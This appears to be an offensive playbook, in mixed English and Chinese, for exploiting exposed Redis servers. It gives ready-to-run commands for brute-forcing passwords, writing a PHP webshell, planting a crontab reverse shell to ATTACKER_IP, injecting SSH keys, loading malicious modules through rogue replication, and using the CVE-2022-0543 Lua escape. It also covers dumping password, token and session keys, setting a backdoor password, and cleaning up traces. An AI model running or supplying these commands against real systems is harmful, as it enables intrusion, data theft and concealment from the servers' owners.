redis-attack

Redis unauthorized access and exploitation

Redis has no authentication by default and listens on 0.0.0.0. Once exposed on the network, the attack surface is enormous—going from data theft to RCE requires only a few commands.

⛔ In-depth reference (required reading)

• Full exploitation commands and payloads → read references/attack-techniques.md

---

Phase 1: Service discovery and version identification

1.1 Nmap scanning

# Redis 信息收集脚本
nmap -p 6379 --script redis-info TARGET

Version detection

nmap -sV -p 6379 TARGET

### 1.2 手动连接测试

```bash
# PING 测试连通性
redis-cli -h TARGET -p 6379 PING
# 返回 PONG 表示无需认证

# 获取服务器信息（关注 redis_version, os, config_file）
redis-cli -h TARGET -p 6379 INFO server

Key determination：

• Returns PONG / normal information → no authentication, proceed directly to Phase 3
• Returns -NOAUTH Authentication required → authentication required, proceed to Phase 2
• Returns redis_version → determine the version and decide the available attack paths

---

Phase 2: Unauthorized/weak password detection

2.1 Common weak passwords

# 逐个尝试
redis-cli -h TARGET -p 6379 -a redis INFO server
redis-cli -h TARGET -p 6379 -a password INFO server
redis-cli -h TARGET -p 6379 -a 123456 INFO server
redis-cli -h TARGET -p 6379 -a admin INFO server
redis-cli -h TARGET -p 6379 -a root INFO server

2.2 Brute force

# Hydra
hydra -P passwords.txt redis://TARGET

# Nmap
nmap --script redis-brute -p 6379 TARGET

# Medusa
medusa -h TARGET -P passwords.txt -M redis

---

Phase 3: Attack decision tree

连接成功？
├─ 可执行 CONFIG SET → RCE 路径
│   ├─ 目标有 Web 服务 → webshell 写入 (Phase 4.1)
│   ├─ 目标有 cron → crontab 反弹 shell (Phase 4.2)
│   └─ 目标有 SSH → 写 authorized_keys (Phase 4.3)
├─ Redis >= 4.0 → 模块加载 RCE (Phase 4.4)
├─ Redis >= 4.0 → 主从复制 RCE / redis-rogue-server (Phase 4.5)
├─ 可执行 KEYS/GET → 数据窃取 (Phase 5)
│   ├─ 搜索 *password*, *token*, *session*
│   └─ HGETALL 遍历 Hash 数据
├─ 可执行 PSUBSCRIBE → Pub/Sub 窃听 (Phase 6)
└─ 可执行 EVAL → Lua 脚本注入 (Phase 6)

Preliminary information gathering：

# 获取当前工作目录和数据库文件名（CONFIG SET 攻击前必查）
redis-cli -h TARGET -p 6379 CONFIG GET dir
redis-cli -h TARGET -p 6379 CONFIG GET dbfilename

# 获取全部配置
redis-cli -h TARGET -p 6379 CONFIG GET "*"

# 检查 Redis 版本（决定模块加载/主从复制是否可用）
redis-cli -h TARGET -p 6379 INFO server

---

Phase 4: Quick exploitation commands

4.1 Webshell writing

redis-cli -h TARGET -p 6379
> CONFIG SET dir /var/www/html
> CONFIG SET dbfilename shell.php
> SET payload "<?php @eval($_POST['cmd']);?>"
> SAVE

Verify: curl http://TARGET/shell.php

4.2 Crontab RCE

redis-cli -h TARGET -p 6379
> SET cron "\n\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n\n"
> CONFIG SET dir /var/spool/cron/
> CONFIG SET dbfilename root
> SAVE

Note: The path on Ubuntu/Debian is /var/spool/cron/crontabs/, and on CentOS/RHEL it is /var/spool/cron/。

4.3 SSH public key writing

# 生成密钥对
ssh-keygen -t rsa -f /tmp/redis_rsa

# 格式化公钥（前后加换行避免 Redis 数据干扰）
(echo -e "\n\n"; cat /tmp/redis_rsa.pub; echo -e "\n\n") > /tmp/spaced_key.txt

# 导入并写入
cat /tmp/spaced_key.txt | redis-cli -h TARGET -p 6379 -x set ssh_key
redis-cli -h TARGET -p 6379 CONFIG SET dir /var/lib/redis/.ssh
# 如果 Redis 以 root 运行，改用 /root/.ssh
redis-cli -h TARGET -p 6379 CONFIG SET dbfilename authorized_keys
redis-cli -h TARGET -p 6379 SAVE

# 登录
ssh -i /tmp/redis_rsa redis@TARGET

4.4 Module loading RCE (Redis >= 4.0)

# 需先将恶意 .so 上传到目标（通过主从复制或其他途径）
redis-cli -h TARGET -p 6379 MODULE LOAD /path/to/module.so
redis-cli -h TARGET -p 6379 system.exec "id"
redis-cli -h TARGET -p 6379 system.rev ATTACKER_IP 9999

4.5 Master-slave replication RCE

# 自动化利用（Redis <= 5.0.5）
python3 redis-rogue-server.py --rhost TARGET --rport 6379 --lhost ATTACKER_IP

# 手动利用
redis-cli -h TARGET -p 6379 SLAVEOF ATTACKER_IP 6379
# 传输恶意模块后
redis-cli -h TARGET -p 6379 MODULE LOAD /tmp/module.so
redis-cli -h TARGET -p 6379 system.exec "id"
# 清理
redis-cli -h TARGET -p 6379 MODULE UNLOAD mymodule
redis-cli -h TARGET -p 6379 SLAVEOF NO ONE

→ More methods and full payloads → read references/attack-techniques.md

---

Phase 5: Data theft

# 列出所有键
redis-cli -h TARGET -p 6379 KEYS "*"

# 搜索敏感键名
redis-cli -h TARGET -p 6379 KEYS "*password*"
redis-cli -h TARGET -p 6379 KEYS "*secret*"
redis-cli -h TARGET -p 6379 KEYS "*token*"
redis-cli -h TARGET -p 6379 KEYS "*session*"

# 获取值
redis-cli -h TARGET -p 6379 GET keyname

# 遍历 Hash 类型
redis-cli -h TARGET -p 6379 HGETALL keyname

# 大数据库用 SCAN 替代 KEYS（避免阻塞）
redis-cli -h TARGET -p 6379 SCAN 0 MATCH "*password*" COUNT 100

→ read references/attack-techniques.md to get the full data theft commands

---

Phase 6: Other attack vectors

6.1 Pub/Sub eavesdropping

# 监听所有频道
redis-cli -h TARGET -p 6379 PSUBSCRIBE "*"

6.2 Lua script injection

# 执行系统命令（CVE-2022-0543, Debian/Ubuntu 特有）
redis-cli -h TARGET -p 6379 EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

6.3 Configuration tampering

# 读取当前认证配置
redis-cli -h TARGET -p 6379 CONFIG GET requirepass
redis-cli -h TARGET -p 6379 CONFIG GET masterauth

# 设置后门密码
redis-cli -h TARGET -p 6379 CONFIG SET requirepass "backdoor_pass"

6.4 Persistence file exploitation

# 触发 RDB 持久化
redis-cli -h TARGET -p 6379 BGSAVE

# 获取持久化文件路径
redis-cli -h TARGET -p 6379 CONFIG GET dir
redis-cli -h TARGET -p 6379 CONFIG GET dbfilename

# 下载后用 rdbtools 解析
rdb --command json /path/to/dump.rdb

→ read references/attack-techniques.md to get the full technical details

---

Tool quick reference

Tool	Purpose
redis-cli	Redis official client
redis-rogue-server	Master-slave replication automated RCE
RedisModules-ExecuteCommand	Malicious .so module generation
rdbtools	RDB persistence file parsing
hydra / medusa	Redis password brute force
nmap redis-info / redis-brute	Redis information gathering and brute-force script

---

Notes

• SAVE The operation will block Redis and may cause service interruption; in production environments, prefer BGSAVE
• CONFIG SET The operation is recorded in the Redis logs; pay attention to cleaning up traces
• KEYS * Severely blocks on large databases; in production environments use SCAN instead
• Writing files with CONFIG SET will overwrite the original RDB content; back up CONFIG GET dir and CONFIG GET dbfilename
• After completing master-slave replication RCE, be sure to execute SLAVEOF NO ONE and MODULE UNLOAD cleanup
• Crontab writing is only effective when the target runs Redis as root